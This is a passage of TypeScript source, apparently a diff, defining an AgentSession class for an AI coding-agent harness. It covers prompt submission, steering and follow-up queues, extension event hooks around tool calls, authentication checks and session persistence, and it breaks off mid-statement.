extensionRunnerRef?: { current?: ExtensionRunner }; + /** Session start event metadata emitted when extensions bind to this runtime. */ + sessionStartEvent?: SessionStartEvent; +} + +export interface ExtensionBindings { + uiContext?: ExtensionUIContext; + commandContextActions?: ExtensionCommandContextActions; + abortHandler?: () => void; + shutdownHandler?: ShutdownHandler; + onError?: ExtensionErrorListener; +} + +/** Options for AgentSession.prompt() */ +export interface PromptOptions { + /** Whether to expand file-based prompt templates (default: true) */ + expandPromptTemplates?: boolean; + /** Image attachments */ + images?: ImageContent[]; + /** When streaming, how to queue the message: "steer" (interrupt) or "followUp" (wait). Required if streaming. */ + streamingBehavior?: "steer" | "followUp"; + /** Source of input for extension input event handlers. Defaults to "interactive". */ + source?: InputSource; + /** Internal hook used by RPC mode to observe prompt preflight acceptance or rejection. */ + preflightResult?: (success: boolean) => void; +} + +/** Result from cycleModel() */ +export interface ModelCycleResult { + model: Model; + thinkingLevel: ThinkingLevel; + /** Whether cycling through scoped models (--models flag) or all available */ + isScoped: boolean; +} + +/** Session statistics for /session command */ +export interface SessionStats { + sessionFile: string | undefined; + sessionId: string; + userMessages: number; + assistantMessages: number; + toolCalls: number; + toolResults: number; + totalMessages: number; + tokens: { + input: number; + output: number; + cacheRead: number; + cacheWrite: number; + total: number; + }; + cost: number; + contextUsage?: ContextUsage; +} + +interface ToolDefinitionEntry { + definition: ToolDefinition; + sourceInfo: SourceInfo; +} + +type CompactionReason = "manual" | "threshold" | "overflow"; + +type CompactionWorkOutcome = + | { status: "compacted"; result: CompactionResult } + | { status: "aborted" } + | { status: "skipped" }; + +// ============================================================================ +// Constants +// ============================================================================ + +/** Standard thinking levels */ +const THINKING_LEVELS: ThinkingLevel[] = ["off", "minimal", "low", "medium", "high"]; + +// ============================================================================ +// AgentSession Class +// ============================================================================ + +export class AgentSession { + readonly agent: Agent; + readonly sessionManager: SessionManager; + readonly settingsManager: SettingsManager; + + private scopedModelEntries: Array<{ model: Model; thinkingLevel?: ThinkingLevel }>; + + // Event subscription state + private unsubscribeAgent?: () => void; + private eventListeners: AgentSessionEventListener[] = []; + + /** Tracks pending steering messages for UI display. Removed when delivered. */ + private steeringMessages: string[] = []; + /** Tracks pending follow-up messages for UI display. Removed when delivered. */ + private followUpMessages: string[] = []; + /** Messages queued to be included with the next user prompt as context ("asides"). */ + private pendingNextTurnMessages: CustomMessage[] = []; + + // Compaction state + private compactionAbortController: AbortController | undefined = undefined; + private autoCompactionAbortController: AbortController | undefined = undefined; + private overflowRecoveryAttempted = false; + + // Branch summarization state + private branchSummaryAbortController: AbortController | undefined = undefined; + + // Retry state + private retryAbortController: AbortController | undefined = undefined; + private retryCount = 0; + + // Bash execution state + private bashAbortController: AbortController | undefined = undefined; + private pendingBashMessages: BashExecutionMessage[] = []; + + // Extension system + private currentExtensionRunner!: ExtensionRunner; + private turnIndex = 0; + + private sessionResourceLoader: ResourceLoader; + private customTools: ToolDefinition[]; + private baseToolDefinitions: Map = new Map(); + private cwd: string; + private extensionRunnerRef?: { current?: ExtensionRunner }; + private initialActiveToolNames?: string[]; + private allowedToolNames?: Set; + private disableBuiltInTools: boolean; + private baseToolsOverride?: Record; + private sessionStartEvent: SessionStartEvent; + private extensionUIContext?: ExtensionUIContext; + private extensionCommandContextActions?: ExtensionCommandContextActions; + private extensionAbortHandler?: () => void; + private extensionShutdownHandler?: ShutdownHandler; + private extensionErrorListener?: ExtensionErrorListener; + private extensionErrorUnsubscriber?: () => void; + + // Model registry for API key resolution + private sessionModelRegistry: ModelRegistry; + + // Tool registry for extension getTools/setTools + private toolRegistry: Map = new Map(); + private toolDefinitions: Map = new Map(); + private toolPromptSnippets: Map = new Map(); + private toolPromptGuidelines: Map = new Map(); + + // Base system prompt (without extension appends) - used to apply fresh appends each turn + private baseSystemPrompt = ""; + private baseSystemPromptOptions!: BuildSystemPromptOptions; + + constructor(config: AgentSessionConfig) { + this.agent = config.agent; + this.sessionManager = config.sessionManager; + this.settingsManager = config.settingsManager; + this.scopedModelEntries = config.scopedModels ?? []; + this.sessionResourceLoader = config.resourceLoader; + this.customTools = config.customTools ?? []; + this.cwd = config.cwd; + this.sessionModelRegistry = config.modelRegistry; + this.extensionRunnerRef = config.extensionRunnerRef; + this.initialActiveToolNames = config.initialActiveToolNames; + this.allowedToolNames = config.allowedToolNames ? new Set(config.allowedToolNames) : undefined; + this.disableBuiltInTools = config.disableBuiltInTools === true; + this.baseToolsOverride = config.baseToolsOverride; + this.sessionStartEvent = config.sessionStartEvent ?? { + type: "session_start", + reason: "startup", + }; + + // Always subscribe to agent events for internal handling + // (session persistence, extensions, auto-compaction, retry logic) + this.unsubscribeAgent = this.agent.subscribe(this.handleAgentEvent); + this.installAgentToolHooks(); + + this.buildRuntime({ + activeToolNames: this.initialActiveToolNames, + includeAllExtensionTools: true, + }); + } + + /** Model registry for API key resolution and model discovery */ + get modelRegistry(): ModelRegistry { + return this.sessionModelRegistry; + } + + private async getRequiredRequestAuth(model: Model): Promise<{ + apiKey: string; + headers?: Record; + }> { + const result = await this.sessionModelRegistry.getApiKeyAndHeaders(model); + if (!result.ok) { + if (result.error.startsWith("No API key found")) { + throw new Error(formatNoApiKeyFoundMessage(model.provider)); + } + throw new Error(result.error); + } + if (result.apiKey) { + return { apiKey: result.apiKey, headers: result.headers }; + } + + const isOAuth = this.sessionModelRegistry.isUsingOAuth(model); + if (isOAuth) { + throw new Error( + `Authentication failed for "${model.provider}". ` + + `Credentials may have expired or network is unavailable. ` + + `Run '/login ${model.provider}' to re-authenticate.`, + ); + } + throw new Error(formatNoApiKeyFoundMessage(model.provider)); + } + + private async getCompactionRequestAuth(model: Model): Promise<{ + apiKey?: string; + headers?: Record; + }> { + if (this.agent.streamFn === streamSimple) { + return this.getRequiredRequestAuth(model); + } + + const result = await this.sessionModelRegistry.getApiKeyAndHeaders(model); + return result.ok ? { apiKey: result.apiKey, headers: result.headers } : {}; + } + + /** + * Install tool hooks once on the Agent instance. + * + * The callbacks read `this.currentExtensionRunner` at execution time, so extension reload swaps in the + * new runner without reinstalling hooks. Extension-specific tool wrappers are still used to adapt + * registered tool execution to the extension context. Tool call and tool result interception now + * happens here instead of in wrappers. + */ + private installAgentToolHooks(): void { + this.agent.beforeToolCall = async ({ toolCall, args }) => { + const runner = this.currentExtensionRunner; + if (!runner.hasHandlers("tool_call")) { + return undefined; + } + + try { + return await runner.emitToolCall({ + type: "tool_call", + toolName: toolCall.name, + toolCallId: toolCall.id, + input: args as Record, + }); + } catch (err) { + if (err instanceof Error) { + throw err; + } + throw new Error(`Extension failed, blocking execution: ${String(err)}`, { cause: err }); + } + }; + + this.agent.afterToolCall = async ({ toolCall, args, result, isError }) => { + const runner = this.currentExtensionRunner; + if (!runner.hasHandlers("tool_result")) { + return undefined; + } + + const hookResult = await runner.emitToolResult({ + type: "tool_result", + toolName: toolCall.name, + toolCallId: toolCall.id, + input: args as Record, + content: result.content, + details: result.details, + isError, + }); + + if (!hookResult) { + return undefined; + } + + return { + content: hookResult.content, + details: hookResult.details, + isError: hookResult.isError ?? isError, + }; + }; + } + + // ========================================================================= + // Event Subscription + // ========================================================================= + + /** Emit an event to all listeners */ + private emit(event: AgentSessionEvent): void { + for (const l of this.eventListeners) { + l(event); + } + } + + private emitQueueUpdate(): void { + this.emit({ + type: "queue_update", + steering: [...this.steeringMessages], + followUp: [...this.followUpMessages], + }); + } + + // Track last assistant message for auto-compaction check + private lastAssistantMessage: AssistantMessage | undefined = undefined; + + /** Internal handler for agent events - shared by subscribe and reconnect */ + private handleAgentEvent = async (event: AgentEvent): Promise => { + // When a user message starts, check if it's from either queue and remove it BEFORE emitting + // This ensures the UI sees the updated queue state + if (event.type === "message_start" && event.message.role === "user") { + this.overflowRecoveryAttempted = false; + const messageText = this.getUserMessageText(event.message); + if (messageText) { + // Check steering queue first + const steeringIndex = this.steeringMessages.indexOf(messageText); + if (steeringIndex !== -1) { + this.steeringMessages.splice(steeringIndex, 1); + this.emitQueueUpdate(); + } else { + // Check follow-up queue + const followUpIndex = this.followUpMessages.indexOf(messageText); + if (followUpIndex !== -1) { + this.followUpMessages.splice(followUpIndex, 1); + this.emitQueueUpdate(); + } + } + } + } + + // Emit to extensions first + await this.emitExtensionEvent(event); + + // Notify all listeners + this.emit( + event.type === "agent_end" + ? { ...event, willRetry: this.willRetryAfterAgentEnd(event) } + : event, + ); + + // Handle session persistence + if (event.type === "message_end") { + // Check if this is a custom message from extensions + if (event.message.role === "custom") { + // Persist as CustomMessageEntry + this.sessionManager.appendCustomMessageEntry( + event.message.customType, + event.message.content, + event.message.display, + event.message.details, + ); + } else if ( + event.message.role === "user" || + event.message.role === "assistant" || + event.message.role === "toolResult" + ) { + // Regular LLM message - persist as SessionMessageEntry + this.sessionManager.appendMessage(event.message); + } + // Other message types (bashExecution, compactionSummary, branchSummary) are persisted elsewhere + + // Track assistant message for auto-compaction (checked on agent_end) + if (event.message.role === "assistant") { + this.lastAssistantMessage = event.message; + + const assistantMsg = event.message; + if (assistantMsg.stopReason !== "error") { + this.overflowRecoveryAttempted = false; + } + + // Reset retry counter immediately on successful assistant response + // This prevents accumulation across multiple LLM calls within a turn + if (assistantMsg.stopReason !== "error" && this.retryCount > 0) { + this.emit({ + type: "auto_retry_end", + success: true, + attempt: this.retryCount, + }); + this.retryCount = 0; + } + } + } + }; + + private willRetryAfterAgentEnd(event: Extract): boolean { + const settings = this.settingsManager.getRetrySettings(); + if (!settings.enabled || this.retryCount >= settings.maxRetries) { + return false; + } + + for (let i = event.messages.length - 1; i >= 0; i--) { + const message = event.messages[i]; + if (message.role === "assistant") { + return this.isRetryableError(message); + } + } + return false; + } + + /** Extract text content from a message */ + private getUserMessageText(message: Message): string { + if (message.role !== "user") { + return ""; + } + const content = message.content; + if (typeof content === "string") { + return content; + } + const textBlocks = content.filter((c) => c.type === "text"); + return textBlocks.map((c) => c.text).join(""); + } + + /** Find the last assistant message in agent state (including aborted ones) */ + private findLastAssistantMessage(): AssistantMessage | undefined { + const messages = this.agent.state.messages; + for (let i = messages.length - 1; i >= 0; i--) { + const msg = messages[i]; + if (msg.role === "assistant") { + return msg; + } + } + return undefined; + } + + private replaceMessageInPlace(target: AgentMessage, replacement: AgentMessage): void { + // Agent-core stores the finalized message object in its state before emitting message_end. + // SessionManager persistence happens later in handleAgentEvent() with event.message. + // Mutating this object in place keeps agent state, later turn/agent events, listeners, + // and the eventual SessionManager.appendMessage(event.message) persistence in sync. + if (target === replacement) { + return; + } + + const targetRecord = target as unknown as Record; + for (const key of Object.keys(targetRecord)) { + delete targetRecord[key]; + } + Object.assign(targetRecord, replacement); + } + + /** Emit extension events based on agent events */ + private async emitExtensionEvent(event: AgentEvent): Promise { + if (event.type === "agent_start") { + this.turnIndex = 0; + await this.currentExtensionRunner.emit({ type: "agent_start" }); + } else if (event.type === "agent_end") { + await this.currentExtensionRunner.emit({ type: "agent_end", messages: event.messages }); + } else if (event.type === "turn_start") { + const extensionEvent: TurnStartEvent = { + type: "turn_start", + turnIndex: this.turnIndex, + timestamp: Date.now(), + }; + await this.currentExtensionRunner.emit(extensionEvent); + } else if (event.type === "turn_end") { + const extensionEvent: TurnEndEvent = { + type: "turn_end", + turnIndex: this.turnIndex, + message: event.message, + toolResults: event.toolResults, + }; + await this.currentExtensionRunner.emit(extensionEvent); + this.turnIndex++; + } else if (event.type === "message_start") { + const extensionEvent: MessageStartEvent = { + type: "message_start", + message: event.message, + }; + await this.currentExtensionRunner.emit(extensionEvent); + } else if (event.type === "message_update") { + const extensionEvent: MessageUpdateEvent = { + type: "message_update", + message: event.message, + assistantMessageEvent: event.assistantMessageEvent, + }; + await this.currentExtensionRunner.emit(extensionEvent); + } else if (event.type === "message_end") { + const extensionEvent: MessageEndEvent = { + type: "message_end", + message: event.message, + }; + const replacement = await this.currentExtensionRunner.emitMessageEnd(extensionEvent); + if (replacement) { + this.replaceMessageInPlace(event.message, replacement); + } + } else if (event.type === "tool_execution_start") { + const extensionEvent: ToolExecutionStartEvent = { + type: "tool_execution_start", + toolCallId: event.toolCallId, + toolName: event.toolName, + args: event.args, + }; + await this.currentExtensionRunner.emit(extensionEvent); + } else if (event.type === "tool_execution_update") { + const extensionEvent: ToolExecutionUpdateEvent = { + type: "tool_execution_update", + toolCallId: event.toolCallId, + toolName: event.toolName, + args: event.args, + partialResult: event.partialResult, + }; + await this.currentExtensionRunner.emit(extensionEvent); + } else if (event.type === "tool_execution_end") { + const extensionEvent: ToolExecutionEndEvent = { + type: "tool_execution_end", + toolCallId: event.toolCallId, + toolName: event.toolName, + result: event.result, + isError: event.isError, + }; + await this.currentExtensionRunner.emit(extensionEvent); + } + } + + /** + * Subscribe to agent events. + * Session persistence is handled internally (saves messages on message_end). + * Multiple listeners can be added. Returns unsubscribe function for this listener. + */ + subscribe(listener: AgentSessionEventListener): () => void { + this.eventListeners.push(listener); + + // Return unsubscribe function for this specific listener + return () => { + const index = this.eventListeners.indexOf(listener); + if (index !== -1) { + this.eventListeners.splice(index, 1); + } + }; + } + + /** + * Temporarily disconnect from agent events. + * User listeners are preserved and will receive events again after resubscribe(). + * Used internally during operations that need to pause event processing. + */ + private disconnectFromAgent(): void { + if (this.unsubscribeAgent) { + this.unsubscribeAgent(); + this.unsubscribeAgent = undefined; + } + } + + /** + * Reconnect to agent events after disconnectFromAgent(). + * Preserves all existing listeners. + */ + private reconnectToAgent(): void { + if (this.unsubscribeAgent) { + return; + } // Already connected + this.unsubscribeAgent = this.agent.subscribe(this.handleAgentEvent); + } + + /** + * Remove all listeners and disconnect from agent. + * Call this when completely done with the session. + */ + dispose(): void { + this.currentExtensionRunner.invalidate( + "This extension ctx is stale after session replacement or reload. Do not use a captured api or command ctx after ctx.newSession(), ctx.fork(), ctx.switchSession(), or ctx.reload(). For newSession, fork, and switchSession, move post-replacement work into withSession and use the ctx passed to withSession. For reload, do not use the old ctx after await ctx.reload().", + ); + this.disconnectFromAgent(); + this.eventListeners = []; + cleanupSessionResources(this.sessionId); + } + + // ========================================================================= + // Read-only State Access + // ========================================================================= + + /** Full agent state */ + get state(): AgentState { + return this.agent.state; + } + + /** Current model (may be undefined if not yet selected) */ + get model(): Model | undefined { + return this.agent.state.model; + } + + /** Current thinking level */ + get thinkingLevel(): ThinkingLevel { + return this.agent.state.thinkingLevel; + } + + /** Whether agent is currently streaming a response */ + get isStreaming(): boolean { + return this.agent.state.isStreaming; + } + + /** Current effective system prompt (includes any per-turn extension modifications) */ + get systemPrompt(): string { + return this.agent.state.systemPrompt; + } + + /** Current retry attempt (0 if not retrying) */ + get retryAttempt(): number { + return this.retryCount; + } + + /** + * Get the names of currently active tools. + * Returns the names of tools currently set on the agent. + */ + getActiveToolNames(): string[] { + return this.agent.state.tools.map((t) => t.name); + } + + /** + * Get all configured tools with name, description, parameter schema, and source metadata. + */ + getAllTools(): ToolInfo[] { + return Array.from(this.toolDefinitions.values()).map(({ definition, sourceInfo }) => ({ + name: definition.name, + description: definition.description, + parameters: definition.parameters, + sourceInfo, + })); + } + + getToolDefinition(name: string): ToolDefinition | undefined { + return this.toolDefinitions.get(name)?.definition; + } + + /** + * Set active tools by name. + * Only tools in the registry can be enabled. Unknown tool names are ignored. + * Also rebuilds the system prompt to reflect the new tool set. + * Changes take effect on the next agent turn. + */ + setActiveToolsByName(toolNames: string[]): void { + const tools: AgentTool[] = []; + const validToolNames: string[] = []; + for (const name of toolNames) { + const tool = this.toolRegistry.get(name); + if (tool) { + tools.push(tool); + validToolNames.push(name); + } + } + this.agent.state.tools = tools; + + // Rebuild base system prompt with new tool set + this.baseSystemPrompt = this.rebuildSystemPrompt(validToolNames); + this.agent.state.systemPrompt = this.baseSystemPrompt; + } + + /** Whether compaction or branch summarization is currently running */ + get isCompacting(): boolean { + return ( + this.autoCompactionAbortController !== undefined || + this.compactionAbortController !== undefined || + this.branchSummaryAbortController !== undefined + ); + } + + /** All messages including custom types like BashExecutionMessage */ + get messages(): AgentMessage[] { + return this.agent.state.messages; + } + + /** Current steering mode */ + get steeringMode(): "all" | "one-at-a-time" { + return this.agent.steeringMode; + } + + /** Current follow-up mode */ + get followUpMode(): "all" | "one-at-a-time" { + return this.agent.followUpMode; + } + + /** Current session file path, or undefined if sessions are disabled */ + get sessionFile(): string | undefined { + return this.sessionManager.getSessionFile(); + } + + /** Current session ID */ + get sessionId(): string { + return this.sessionManager.getSessionId(); + } + + /** Current session display name, if set */ + get sessionName(): string | undefined { + return this.sessionManager.getSessionName(); + } + + /** Scoped models for cycling (from --models flag) */ + get scopedModels(): ReadonlyArray<{ model: Model; thinkingLevel?: ThinkingLevel }> { + return this.scopedModelEntries; + } + + /** Update scoped models for cycling */ + setScopedModels(scopedModels: Array<{ model: Model; thinkingLevel?: ThinkingLevel }>): void { + this.scopedModelEntries = scopedModels; + } + + /** File-based prompt templates */ + get promptTemplates(): ReadonlyArray { + return this.sessionResourceLoader.getPrompts().prompts; + } + + private normalizePromptSnippet(text: string | undefined): string | undefined { + if (!text) { + return undefined; + } + const oneLine = text + .replace(/[\r\n]+/g, " ") + .replace(/\s+/g, " ") + .trim(); + return oneLine.length > 0 ? oneLine : undefined; + } + + private normalizePromptGuidelines(guidelines: string[] | undefined): string[] { + if (!guidelines || guidelines.length === 0) { + return []; + } + + const unique = new Set(); + for (const guideline of guidelines) { + const normalized = guideline.trim(); + if (normalized.length > 0) { + unique.add(normalized); + } + } + return Array.from(unique); + } + + private rebuildSystemPrompt(toolNames: string[]): string { + const validToolNames = toolNames.filter((name) => this.toolRegistry.has(name)); + const toolSnippets: Record = {}; + const promptGuidelines: string[] = []; + for (const name of validToolNames) { + const snippet = this.toolPromptSnippets.get(name); + if (snippet) { + toolSnippets[name] = snippet; + } + + const toolGuidelines = this.toolPromptGuidelines.get(name); + if (toolGuidelines) { + promptGuidelines.push(...toolGuidelines); + } + } + + const loaderSystemPrompt = this.sessionResourceLoader.getSystemPrompt(); + const loaderAppendSystemPrompt = this.sessionResourceLoader.getAppendSystemPrompt(); + const appendSystemPrompt = + loaderAppendSystemPrompt.length > 0 ? loaderAppendSystemPrompt.join("\n\n") : undefined; + const loadedSkills = this.sessionResourceLoader.getSkills().skills; + const loadedContextFiles = this.sessionResourceLoader.getAgentsFiles().agentsFiles; + + this.baseSystemPromptOptions = { + cwd: this.cwd, + skills: loadedSkills, + contextFiles: loadedContextFiles, + customPrompt: loaderSystemPrompt, + appendSystemPrompt, + selectedTools: validToolNames, + toolSnippets, + promptGuidelines, + }; + return buildSystemPrompt(this.baseSystemPromptOptions); + } + + // ========================================================================= + // Prompting + // ========================================================================= + + private async runAgentPrompt(messages: AgentMessage | AgentMessage[]): Promise { + try { + await this.agent.prompt(messages); + while (await this.handlePostAgentRun()) { + await this.agent.continue(); + } + } finally { + this.flushPendingBashMessages(); + } + } + + private async handlePostAgentRun(): Promise { + const msg = this.lastAssistantMessage; + this.lastAssistantMessage = undefined; + if (!msg) { + return false; + } + + if (this.isRetryableError(msg) && (await this.prepareRetry(msg))) { + return true; + } + + if (msg.stopReason === "error" && this.retryCount > 0) { + this.emit({ + type: "auto_retry_end", + success: false, + attempt: this.retryCount, + finalError: msg.errorMessage, + }); + this.retryCount = 0; + } + + return await this.checkCompaction(msg); + } + + /** + * Send a prompt to the agent. + * - Handles extension commands immediately, even during streaming + * - Expands file-based prompt templates by default + * - During streaming, queues via steer() or followUp() based on streamingBehavior option + * - Validates model and API key before sending (when not streaming) + * @throws Error if streaming and no streamingBehavior specified + * @throws Error if no model selected or no API key available (when not streaming) + */ + async prompt(text: string, options?: PromptOptions): Promise { + const expandPromptTemplates = options?.expandPromptTemplates ?? true; + const preflightResult = options?.preflightResult; + let messages: AgentMessage[] | undefined; + + try { + // Handle extension commands first (execute immediately, even during streaming) + // Extension commands manage their own LLM interaction via the session API. + if (expandPromptTemplates && text.startsWith("/")) { + const handled = await this.tryExecuteExtensionCommand(text); + if (handled) { + // Extension command executed, no prompt to send + preflightResult?.(true); + return; + } + } + + // Emit input event for extension interception (before skill/template expansion) + let currentText = text; + let currentImages = options?.images; + if (this.currentExtensionRunner.hasHandlers("input")) { + const inputResult = await this.currentExtensionRunner.emitInput( + currentText, + currentImages, + options?.source ?? "interactive", + ); + if (inputResult.action === "handled") { + preflightResult?.(true); + return; + } + if (inputResult.action === "transform") { + currentText = inputResult.text; + currentImages = inputResult.images ?? currentImages; + } + } + + // Expand skill commands (/skill:name args) and prompt templates (/template args) + let expandedText = currentText; + if (expandPromptTemplates) { + expandedText = this.expandSkillCommand(expandedText); + expandedText = expandPromptTemplate(expandedText, [...this.promptTemplates]); + } + + // If streaming, queue via steer() or followUp() based on option + if (this.isStreaming) { + if (!options?.streamingBehavior) { + throw new Error( + "Agent is already processing. Specify streamingBehavior ('steer' or 'followUp') to queue the message.", + ); + } + if (options.streamingBehavior === "followUp") { + await this.queueFollowUp(expandedText, currentImages); + } else { + await this.queueSteer(expandedText, currentImages); + } + preflightResult?.(true); + return; + } + + // Flush any pending bash messages before the new prompt + this.flushPendingBashMessages(); + + // Validate model + if (!this.model) { + throw new Error(formatNoModelSelectedMessage()); + } + + if (!this.sessionModelRegistry.hasConfiguredAuth(this.model)) { + const isOAuth = this.sessionModelRegistry.isUsingOAuth(this.model); + if (isOAuth) { + throw new Error( + `Authentication failed for "${this.model.provider}". ` + + `Credentials may have expired or network is unavailable. ` + + `Run '/login ${this.model.provider}' to re-authenticate.`, + ); + } + throw new Error(formatNoApiKeyFoundMessage(this.model.provider)); + } + + // Check if we need to compact before sending (catches aborted responses) + const lastAssistant = this.findLastAssistantMessage(); + if (lastAssistant && (await this.checkCompaction(lastAssistant, false))) { + try { + await this.agent.continue(); + while (await this.handlePostAgentRun()) { + await this.agent.continue(); + } + } finally { + this.flushPendingBashMessages(); + } + } + + // Build messages array (custom message if any, then user message) + messages = []; + + // Add user message + const userContent: (TextContent | ImageContent)[] = [{ type: "text", text: expandedText }]; + if (currentImages) { + userContent.push(...currentImages); + } + messages.push({ + role: "user", + content: userContent, + timestamp: Date.now(), + }); + + // Inject any pending "nextTurn" messages as context alongside the user message + for (const msg of this.pendingNextTurnMessages) { + messages.push(msg); + } + this.pendingNextTurnMessages = []; + + // Emit before_agent_start extension event + const result = await this.currentExtensionRunner.emitBeforeAgentStart( + expandedText, + currentImages, + this.baseSystemPrompt, + this.baseSystemPromptOptions, + ); + // Add all custom messages from extensions + if (result?.messages) { + for (const msg of result.messages) { + messages.push({ + role: "custom", + customType: msg.customType, + content: msg.content, + display: msg.display, + details: msg.details, + timestamp: Date.now(), + }); + } + } + // Apply extension-modified system prompt, or reset to base + if (result?.systemPrompt) { + this.agent.state.systemPrompt = result.systemPrompt; + } else { + // Ensure we're using the base prompt (in case previous turn had modifications) + this.agent.state.systemPrompt = this.baseSystemPrompt; + } + } catch (error) { + preflightResult?.(false); + throw error; + } + + if (!messages) { + return; + } + + preflightResult?.(true); + await this.runAgentPrompt(messages); + } + + /** + * Try to execute an extension command. Returns true if command was found and executed. + */ + private async tryExecuteExtensionCommand(text: string): Promise { + // Parse command name and args + const spaceIndex = text.indexOf(" "); + const commandName = spaceIndex === -1 ? text.slice(1) : text.slice(1, spaceIndex); + const args = spaceIndex === -1 ? "" : text.slice(spaceIndex + 1); + + const command = this.currentExtensionRunner.getCommand(commandName); + if (!command) { + return false; + } + + // Get command context from extension runner (includes session control methods) + const ctx = this.currentExtensionRunner.createCommandContext(); + + try { + await command.handler(args, ctx); + return true; + } catch (err) { + // Emit error via extension runner + this.currentExtensionRunner.emitError({ + extensionPath: `command:${commandName}`, + event: "command", + error: err instanceof Error ? err.message : String(err), + }); + return true; + } + } + + /** + * Expand skill commands (/skill:name args) to their full content. + * Returns the expanded text, or the original text if not a skill command or skill not found. + * Emits errors via extension runner if file read fails. + */ + private expandSkillCommand(text: string): string { + if (!text.startsWith("/skill:")) { + return text; + } + + const spaceIndex = text.indexOf(" "); + const skillName = spaceIndex === -1 ? text.slice(7) : text.slice(7, spaceIndex); + const args = spaceIndex === -1 ? "" : text.slice(spaceIndex + 1).trim(); + + const skill = this.sessionResourceLoader.getSkills().skills.find((s) => s.name === skillName); + if (!skill) { + return text; + } // Unknown skill, pass through + + try { + const content = readFileSync(skill.filePath, "utf-8"); + const body = stripFrontmatter(content).trim(); + const skillBlock = `\nReferences are relative to ${skill.baseDir}.\n\n${body}\n`; + return args ? `${skillBlock}\n\n${args}` : skillBlock; + } catch (err) { + // Emit error like extension commands do + this.currentExtensionRunner.emitError({ + extensionPath: skill.filePath, + event: "skill_expansion", + error: err instanceof Error ? err.message : String(err), + }); + return text; // Return original on error + } + } + + /** + * Queue a steering message while the agent is running. + * Delivered after the current assistant turn finishes executing its tool calls, + * before the next LLM call. + * Expands skill commands and prompt templates. Errors on extension commands. + * @param images Optional image attachments to include with the message + * @throws Error if text is an extension command + */ + async steer(text: string, images?: ImageContent[]): Promise { + // Check for extension commands (cannot be queued) + if (text.startsWith("/")) { + this.throwIfExtensionCommand(text); + } + + // Expand skill commands and prompt templates + let expandedText = this.expandSkillCommand(text); + expandedText = expandPromptTemplate(expandedText, [...this.promptTemplates]); + + await this.queueSteer(expandedText, images); + } + + /** + * Queue a follow-up message to be processed after the agent finishes. + * Delivered only when agent has no more tool calls or steering messages. + * Expands skill commands and prompt templates. Errors on extension commands. + * @param images Optional image attachments to include with the message + * @throws Error if text is an extension command + */ + async followUp(text: string, images?: ImageContent[]): Promise { + // Check for extension commands (cannot be queued) + if (text.startsWith("/")) { + this.throwIfExtensionCommand(text); + } + + // Expand skill commands and prompt templates + let expandedText = this.expandSkillCommand(text); + expandedText = expandPromptTemplate(expandedText, [...this.promptTemplates]); + + await this.queueFollowUp(expandedText, images); + } + + /** + * Internal: Queue a steering message (already expanded, no extension command check). + */ + private async queueSteer(text: string, images?: ImageContent[]): Promise { + this.steeringMessages.push(text); + this.emitQueueUpdate(); + const content: (TextContent | ImageContent)[] = [{ type: "text", text }]; + if (images) { + content.push(...images); + } + this.agent.steer({ + role: "user", + content, + timestamp: Date.now(), + }); + } + + /** + * Internal: Queue a follow-up message (already expanded, no extension command check). + */ + private async queueFollowUp(text: string, images?: ImageContent[]): Promise { + this.followUpMessages.push(text); + this.emitQueueUpdate(); + const content: (TextContent | ImageContent)[] = [{ type: "text", text }]; + if (images) { + content.push(...images); + } + this.agent.followUp({ + role: "user", + content, + timestamp: Date.now(), + }); + } + + /** + * Throw an error if the text is an extension command. + */ + private throwIfExtensionCommand(text: string): void { + const spaceIndex = text.indexOf(" "); + const commandName = spaceIndex === -1 ? text.slice(1) : text.slice(1, spaceIndex); + const command = this.currentExtensionRunner.getCommand(commandName); + + if (command) { + throw new Error( + `Extension command "/${commandName}" cannot be queued. Use prompt() or execute the command when not streaming.`, + ); + } + } + + /** + * Send a custom message to the session. Creates a CustomMessageEntry. + * + * Handles three cases: + * - Streaming: queues message, processed when loop pulls from queue + * - Not streaming + triggerTurn: appends to state/session, starts new turn + * - Not streaming + no trigger: appends to state/session, no turn + * + * @param message Custom message with customType, content, display, details + * @param options.triggerTurn If true and not streaming, triggers a new LLM turn + * @param options.deliverAs Delivery mode: "steer", "followUp", or "nextTurn" + */ + async sendCustomMessage( + message: Pick, "customType" | "content" | "display" | "details">, + options?: { triggerTurn?: boolean; deliverAs?: "steer" | "followUp" | "nextTurn" }, + ): Promise { + const appMessage = { + role: "custom" as const, + customType: message.customType, + content: message.content, + display: message.display, + details: message.details, + timestamp: Date.now(), + } satisfies CustomMessage; + if (options?.deliverAs === "nextTurn") { + this.pendingNextTurnMessages.push(appMessage); + } else if (this.isStreaming) { + if (options?.deliverAs === "followUp") { + this.agent.followUp(appMessage); + } else { + this.agent.steer(appMessage); + } + } else if (options?.triggerTurn) { + await this.runAgentPrompt(appMessage); + } else { + this.agent.state.messages.push(appMessage); + this.sessionManager.appendCustomMessageEntry( + message.customType, + message.content, + message.display, + message.details, + ); + this.emit({ type: "message_start", message: appMessage }); + this.emit({ type: "message_end", message: appMessage }); + } + } + + /** + * Send a user message to the agent. Always triggers a turn. + * When the agent is streaming, use deliverAs to specify how to queue the message. + * + * @param content User message content (string or content array) + * @param options.deliverAs Delivery mode when streaming: "steer" or "followUp" + */ + async sendUserMessage( + content: string | (TextContent | ImageContent)[], + options?: { deliverAs?: "steer" | "followUp" }, + ): Promise { + // Normalize content to text string + optional images + let text: string; + let images: ImageContent[] | undefined; + + if (typeof content === "string") { + text = content; + } else { + const textParts: string[] = []; + images = []; + for (const part of content) { + if (part.type === "text") { + textParts.push(part.text); + } else { + images.push(part); + } + } + text = textParts.join("\n"); + if (images.length === 0) { + images = undefined; + } + } + + // Use prompt() with expandPromptTemplates: false to skip command handling and template expansion + await this.prompt(text, { + expandPromptTemplates: false, + streamingBehavior: options?.deliverAs, + images, + source: "extension", + }); + } + + /** + * Clear all queued messages and return them. + * Useful for restoring to editor when user aborts. + * @returns Object with steering and followUp arrays + */ + clearQueue(): { steering: string[]; followUp: string[] } { + const steering = [...this.steeringMessages]; + const followUp = [...this.followUpMessages]; + this.steeringMessages = []; + this.followUpMessages = []; + this.agent.clearAllQueues(); + this.emitQueueUpdate(); + return { steering, followUp }; + } + + /** Number of pending messages (includes both steering and follow-up) */ + get pendingMessageCount(): number { + return this.steeringMessages.length + this.followUpMessages.length; + } + + /** Get pending steering messages (read-only) */ + getSteeringMessages(): readonly string[] { + return this.steeringMessages; + } + + /** Get pending follow-up messages (read-only) */ + getFollowUpMessages(): readonly string[] { + return this.followUpMessages; + } + + get resourceLoader(): ResourceLoader { + return this.sessionResourceLoader; + } + + /** + * Abort current operation and wait for agent to become idle. + */ + async abort(): Promise { + this.abortRetry(); + this.agent.abort(); + await 